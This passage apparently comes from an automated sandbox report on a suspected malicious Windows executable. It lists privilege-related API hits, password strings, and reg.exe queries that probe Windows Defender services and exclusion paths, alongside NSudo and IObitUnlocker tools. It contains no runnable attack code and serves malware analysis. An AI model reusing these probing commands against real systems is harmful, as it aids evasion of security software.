"00000000-00006436.00000000.187460.64DAF000.00000002.mdmp") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; Source: "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp")5c:T653,Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "WTSQueryUserToken" (Indicator: "WTSQueryUserToken"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "NtQueryObject" (Indicator: "NtQueryObject"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "LookupAccountSidW" (Indicator: "LookupAccountSid"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "NtQueryInformationProcess"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "GetUserNameExW" (Indicator: "GetUserName"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp")5d:T1291,Found string "Cannot open encrypted archive. Wrong password?" (Indicator: "password"; File: "00000000-00007732.00000000.194016.00B11000.00000020.mdmp") Found string "Enter password (will not be echoed):" (Indicator: "password"; File: "00000000-00007732.00000000.194016.00B11000.00000020.mdmp") Found string "The specified account's password has expired." (Indicator: "password"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "Unknown user name or bad password." (Indicator: "password"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "Failed to zero secret data." (Indicator: "secret"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "ChangePassword (with knowledge of old password)" (Indicator: "password"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "SetPassword (without knowledge of old password)" (Indicator: "password"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "Create a secret object" (Indicator: "secret"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "Change secret value" (Indicator: "secret"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "Query secret value" (Indicator: "secret"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "The client specified username and password in the request to the destination computer. But the destination" (Indicator: "password"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "when using HTTPS. Username and password must be specified." (Indicator: "password"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "To use Basic, specify the computer name as the remote destination, specify Basic authentication and provide user name and password." (Indicator: "password"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "To use Basic, specify the local computer name as the remote destination, specify Basic authentication and provide user name and password." (Indicator: "password"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "-The user name or password specified are invalid.%n" (Indicator: "password"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "No user name, password or client certificate should be specified with the 'no authentication' option." (Indicator: "password"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "The WinRM client cannot process the request. Requests must include user name and password when Basic or Digest authentication mechanism is used." (Indicator: "password"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "Add the user name and password or change the authentication mechanism and try the request again." (Indicator: "password"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "The WinRM client cannot process the request. Requests must not include user name and password when a certificate is used for authentication." (Indicator: "password"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "Remove the user name and password or change the authentication mechanism and try the request again." (Indicator: "password"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "The WinRM client cannot process the request. A certificate thumbprint was specified together with a user name or password." (Indicator: "password"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "The WinRM client cannot process the request. When an authentication mechanism is not specified, only user name and password credentials are allowed." (Indicator: "password"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "The WinRM client cannot process the request. For authentication mechanisms that require the credentials of an user account, both user name and password must be specified." (Indicator: "password"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "Specify the missing user name or password and try the request again." (Indicator: "password"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "Please check the username and password used for mapping this certificate and verify that it is a non-domain account and try again." (Indicator: "password"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp")5e:T114b,Found string "/c tasklist" (Indicator: "tasklist"; File: "cmd.exe") Found string "tasklist" (Indicator: "tasklist"; Source: "00000000-00002908.00000000.186886.CF8E0000.00000004.mdmp, 00000000-00002908.00000000.186886.CFB90000.00000004.mdmp, 00000000-00002908.00000001.186952.CF8E0000.00000004.mdmp, 00000000-00002908.00000001.186952.CF8FA000.00000004.mdmp, 00000000-00002908.00000001.186952.CFB90000.00000004.mdmp") Found string "ype "TASKLIST /?" for usage." (Indicator: "tasklist"; Source: "00000000-00002908.00000000.186886.CF8E0000.00000004.mdmp") Found string "The hostname pattern is invalid: "%1"" (Indicator: "hostname"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "Hostname patterns must contain one or more patterns." (Indicator: "hostname"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "TrustedHosts list contains an invalid hostname or hostname pattern." (Indicator: "hostname"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "The WinRM client could not create a push subscription because there are no listeners configured that match the specified hostname and transport, or because there is no enabled firewall exception on the port used by the selected listener." (Indicator: "hostname"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "Change the hostname and transport, create an appropriate firewall exception, or run winrm quickconfig." (Indicator: "hostname"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "Transport, port and suffix are optional. The host may be a hostname or an IP address." (Indicator: "hostname"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "The WinRM client cannot process the request. The certificate CN and the hostname that were provided do not match." (Indicator: "hostname"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "You may want to use the CHCP command to change the client Code Page to 437 and receive the results in English." (Indicator: "chcp"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "The destination computer name must be a hostname or an IP address, and must not be a URL." (Indicator: "hostname"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "DNS query for %2 hostname is sent: Handle=%3" (Indicator: "hostname"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "DNS query for %2 hostname is complete: Handle=%3, Addresses=%5" (Indicator: "hostname"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "DNS query for %2 hostname failed: Handle=%3 Error=%4" (Indicator: "hostname"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "Re-used DNS cache, query for %2 hostname is complete: Handle=%3, Addresses=%5" (Indicator: "hostname"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "nslookup [-opt ...] # interactive mode using default server" (Indicator: "nslookup"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "nslookup [-opt ...] - server # interactive mode using 'server'" (Indicator: "nslookup"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "nslookup [-opt ...] host # just look up 'host' using default server" (Indicator: "nslookup"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "nslookup [-opt ...] host server # just look up 'host' using 'server'" (Indicator: "nslookup"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "nslookup" (Indicator: "nslookup"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "Type "TASKLIST /?" for usage." (Indicator: "tasklist"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "TASKLIST" (Indicator: "tasklist"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "TASKLIST /M" (Indicator: "tasklist"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp") Found string "TASKLIST /V /FO CSV" (Indicator: "tasklist"; Source: "00000000-00002908.00000001.186952.D1340000.00000002.mdmp")5f:Tb84,Process "reg.exe" with commandline "reg query "HKU\\S-1-5-19"" (UID: 00000000-00007880) Process "reg.exe" with commandline "reg query "HKU\\S-1-5-19"" (UID: 00000000-00001860) Process "reg.exe" with commandline "reg query "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v "EnableLUA"" (UID: 00000000-00004420) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WinDefend"" (UID: 00000000-00006436) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MDCoreSvc"" (UID: 00000000-00004804) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdNisSvc"" (UID: 00000000-00002944) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\Sense"" (UID: 00000000-00000032) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\wscsvc"" (UID: 00000000-00004416) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\SgrmBroker"" (UID: 00000000-00003424) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\SecurityHealthService"" (UID: 00000000-00004880) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\webthreatdefsvc"" (UID: 00000000-00004780) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\webthreatdefusersvc"" (UID: 00000000-00005352) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdNisDrv"" (UID: 00000000-00005612) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdBoot"" (UID: 00000000-00006964) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\WdFilter"" (UID: 00000000-00002720) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\SgrmAgent"" (UID: 00000000-00004564) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MsSecWfp"" (UID: 00000000-00001732) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MsSecFlt"" (UID: 00000000-00003528) Process "reg.exe" with commandline "reg query "HKLM\\System\\CurrentControlSet\\Services\\MsSecCore"" (UID: 00000000-00007744) Process "reg.exe" with commandline "reg query "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion" /v "ProductName"" (UID: 00000000-00000204) Process "reg.exe" with commandline "reg query HKLM\\System\\CurrentControlset\\Services\\WdFilter" (UID: 00000000-00004344) Process "reg.exe" with commandline "reg query "HKLM\\Software\\Microsoft\\Windows Defender"" (UID: 00000000-00004896) Process "reg.exe" with commandline "reg query "HKLM\\Software\\Microsoft\\Windows Defender\\Exclusions\\Paths"" (UID: 00000000-00007560)60:T448,Found string "OpenProcessToken" (Indicator: "OpenProcess"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") file/memory contains long string with (Indicator: "OpenProcess"; File: "nircmd.exe") Found string "ZwOpenProcess" (Indicator: "OpenProcess"; File: "00000000-00007276.00000000.194352.013E2000.00000080.mdmp") Found string "OpenProcess" (Indicator: "OpenProcess"; File: "00000000-00007276.00000000.194352.013E2000.00000080.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp")61:T10ac,Found string "\DosDevices\IObitUnlockerDevice" (Indicator: "\DosDevices\"; File: "00000000-00007276.00000000.194352.013E2000.00000080.mdmp") Found string "\Device\HarddiskVolume1\unlocker.log" (Indicator: "\Device\"; File: "00000000-00007276.00000000.194352.013E2000.00000080.mdmp") Found string "\Device\HarddiskDmVolumes\" (Indicator: "\Device\"; File: "00000000-00007276.00000000.194352.013E2000.00000080.mdmp") Found string "d:\worker\huoqi\zhanghaitaosvn\project\driver\other\iobitunlocker\unlocker\driver\bin\Win7\i386\IObitUnlocker.pdb" (Indicator: "\driver\"; File: "00000000-00007276.00000000.194352.013E2000.00000080.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00000032.00000000.188434.17590000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00000204.00000000.192712.6A730000.00000004.mdmp") Found string "WS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00001112.00000000.185480.02670000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00001732.00000000.191679.D5E80000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00001860.00000000.185811.9F3B0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00002720.00000000.191029.36820000.00000004.mdmp") Found string "SystemRoot\system32\drivers\wd\WdFilter.sys" (Indicator: "\drivers\"; Source: "00000000-00002720.00000000.191029.36820000.00000004.mdmp") Found string "SystemRoot\system32\drivers\wd\WdFilter.sys" (Indicator: "system32\drivers"; Source: "00000000-00002720.00000000.191029.36820000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\tasklist.exe" (Indicator: "\Device\"; Source: "00000000-00002908.00000000.186886.CF8E0000.00000004.mdmp, 00000000-00002908.00000001.186952.CF8FA000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00002944.00000000.188110.7C750000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00003424.00000000.189082.E8720000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00003528.00000000.192003.7AED0000.00000004.mdmp") Found string "ystem32\drivers\mssecflt.sys" (Indicator: "\drivers\"; Source: "00000000-00003528.00000000.192003.7AED0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00004344.00000000.193038.C3210000.00000004.mdmp") Found string "SystemRoot\system32\drivers\wd\WdFilter.sys" (Indicator: "\drivers\"; Source: "00000000-00004344.00000000.193038.C3210000.00000004.mdmp") Found string "SystemRoot\system32\drivers\wd\WdFilter.sys" (Indicator: "system32\drivers"; Source: "00000000-00004344.00000000.193038.C3210000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00004416.00000000.188758.59FB0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00004420.00000000.186514.C3710000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00004564.00000000.191354.67DA0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00004780.00000000.189732.BA6F0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00004804.00000000.187785.09C30000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00004880.00000000.189407.34920000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00004896.00000000.193362.EFA00000.00000004.mdmp")62:Tf16,Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "SeBackupPrivilege" (Indicator: "SeBackupPrivilege"; File: "00000000-00003660.00000000.185064.00FA1000.00000020.mdmp") Found reference to API "LookupPrivilegeValue" (Indicator: "LookupPrivilegeValue"; File: "00000000-00007276.00000000.194352.013E2000.00000080.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00000032.00000000.188434.17590000.00000004.mdmp") Found reference to API "SeImpersonatePrivilege" (Indicator: "SeImpersonatePrivilege"; Source: "00000000-00000032.00000000.188434.17590000.00000004.mdmp") Found reference to API "SeImpersonatePrivilege" (Indicator: "SeImpersonate"; Source: "00000000-00000032.00000000.188434.17590000.00000004.mdmp") Found reference to API "SeLoadDriverPrivilege" (Indicator: "SeLoadDriverPrivilege"; Source: "00000000-00000032.00000000.188434.17590000.00000004.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00002908.00000000.186886.CF8E0000.00000004.mdmp, 00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "SeBackupPrivilege" (Indicator: "SeBackupPrivilege"; Source: "00000000-00003660.00000000.185064.00FA1000.00000020.mdmp") Found reference to API "SeBackupPrivilege" (Indicator: "SeBackupPrivilege"; Source: "00000000-00004880.00000000.189407.34920000.00000004.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00004880.00000000.189407.34920000.00000004.mdmp") Found reference to API "SeBackupPrivilege" (Indicator: "SeBackupPrivilege"; Source: "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp, 00000000-00006436.00000000.187460.EF420000.00000004.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00006436.00000000.187460.EF420000.00000004.mdmp") Found reference to API "SeLoadDriverPrivilege" (Indicator: "SeLoadDriverPrivilege"; Source: "00000000-00006436.00000000.187460.EF420000.00000004.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00006436.00000000.187460.EF420000.00000004.mdmp")63:T58f,Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "ZwTerminateProcess" (Indicator: "ZwTerminateProcess"; File: "00000000-00007276.00000000.194352.013E2000.00000080.mdmp") Found reference to API "ZwTerminateProcess" (Indicator: "TerminateProcess"; File: "00000000-00007276.00000000.194352.013E2000.00000080.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00002908.00000001.186952.C2012000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp")64:Tf65,Found reference to API "SeSecurityPrivilege" (Indicator: "SeSecurityPrivilege"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "SeCreateSymbolicLinkPrivilege" (Indicator: "SeCreateSymbolicLinkPrivilege"; File: "b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe") Found reference to API "SeLockMemoryPrivilege" (Indicator: "SeLockMemoryPrivilege"; File: "00000000-00007732.00000000.194016.00B11000.00000020.mdmp") Found reference to API "SeChangeNotifyPrivilege" (Indicator: "SeChangeNotifyPrivilege"; Source: "00000000-00000032.00000000.188434.17590000.00000004.mdmp") Found reference to API "SeCreateGlobalPrivilege" (Indicator: "SeCreateGlobalPrivilege"; Source: "00000000-00000032.00000000.188434.17590000.00000004.mdmp") Found reference to API "SeCreatePagefilePrivilege" (Indicator: "SeCreatePagefilePrivilege"; Source: "00000000-00000032.00000000.188434.17590000.00000004.mdmp") Found reference to API "SeCreatePermanentPrivilege" (Indicator: "SeCreatePermanentPrivilege"; Source: "00000000-00000032.00000000.188434.17590000.00000004.mdmp") Found reference to API "SeIncreaseBasePriorityPrivilege" (Indicator: "SeIncreaseBasePriorityPrivilege"; Source: "00000000-00000032.00000000.188434.17590000.00000004.mdmp") Found reference to API "SeLockMemoryPrivilege" (Indicator: "SeLockMemoryPrivilege"; Source: "00000000-00000032.00000000.188434.17590000.00000004.mdmp") Found reference to API "SeProfileSingleProcessPrivilege" (Indicator: "SeProfileSingleProcessPrivilege"; Source: "00000000-00000032.00000000.188434.17590000.00000004.mdmp") Found reference to API "SeTcbPrivilege" (Indicator: "SeTcbPrivilege"; Source: "00000000-00000032.00000000.188434.17590000.00000004.mdmp") Found reference to API "SeSecurityPrivilege" (Indicator: "SeSecurityPrivilege"; Source: "00000000-00000032.00000000.188434.17590000.00000004.mdmp") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; Source: "00000000-00000032.00000000.188434.17590000.00000004.mdmp") Found reference to API "SeTcbPrivilege" (Indicator: "SeTcbPrivilege"; Source: "00000000-00001112.00000000.185480.40017000.00000002.mdmp") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; Source: "00000000-00003660.00000000.185064.00FA1000.00000020.mdmp") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; Source: "00000000-00004880.00000000.189407.34920000.00000004.mdmp") Found reference to API "SeChangeNotifyPrivilege" (Indicator: "SeChangeNotifyPrivilege"; Source: "00000000-00004880.00000000.189407.34920000.00000004.mdmp") Found reference to API "SeSecurityPrivilege" (Indicator: "SeSecurityPrivilege"; Source: "00000000-00004880.00000000.189407.34920000.00000004.mdmp") Found reference to API "SeAssignPrimaryTokenPrivilege" (Indicator: "SeAssignPrimaryTokenPrivilege"; Source: "00000000-00004880.00000000.189407.34920000.00000004.mdmp") Found reference to API "SeTcbPrivilege" (Indicator: "SeTcbPrivilege"; Source: "00000000-00004880.00000000.189407.34920000.00000004.mdmp") Found reference to API "SeSystemEnvironmentPrivilege" (Indicator: "SeSystemEnvironmentPrivilege"; Source: "00000000-00004880.00000000.189407.34920000.00000004.mdmp") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; Source: "00000000-00006436.00000000.187460.64DAF000.00000002.mdmp, 00000000-00006436.00000000.187460.EF420000.00000004.mdmp") Found reference to API "SeChangeNotifyPrivilege" (Indicator: "SeChangeNotifyPrivilege"; Source: "00000000-00006436.00000000.187460.EF420000.00000004.mdmp") Found reference to API "SeSecurityPrivilege" (Indicator: "SeSecurityPrivilege"; Source: "00000000-00006436.00000000.187460.EF420000.00000004.mdmp")65:Tc7e,"b2190208634aba23939581e1c36e3eff965013e4158b077f3ce3dd986b64ea85.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\CMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\SAKED\NIRCMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\CHCP.COM"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\REG.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\SAKED\NSUDOLG.EXE"; Value: "") "NSudoLG.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\SAKED\NIRCMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CHCP.COM"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\REG.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\MODE.COM"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: 